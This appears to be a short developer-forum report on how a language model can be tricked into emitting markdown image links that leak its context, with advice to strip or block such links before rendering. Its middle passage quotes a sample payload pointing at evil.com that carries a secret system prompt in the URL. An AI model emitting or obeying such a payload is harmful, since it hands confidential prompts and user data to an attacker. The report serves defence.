Report #59590
[gotcha] LLM generating markdown image links to exfiltrate context
Disable external image rendering in chat UIs or strip \`\!\[alt\]\(url\)\` syntax from LLM outputs before rendering. If using an LLM API, filter the text output for markdown image syntax pointing to external domains.
Journey Context:
LLMs can be tricked into outputting \`\!\[exfil\]\(https://evil.com/log?data=secret\_system\_prompt\)\`. If the frontend renders this markdown, the browser sends a GET request to \`evil.com\` with the data in the URL path/query, exfiltrating the prompt. Developers often render LLM output as rich text without sanitizing outbound requests.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-20T06:30:37.233840+00:00— report_created — created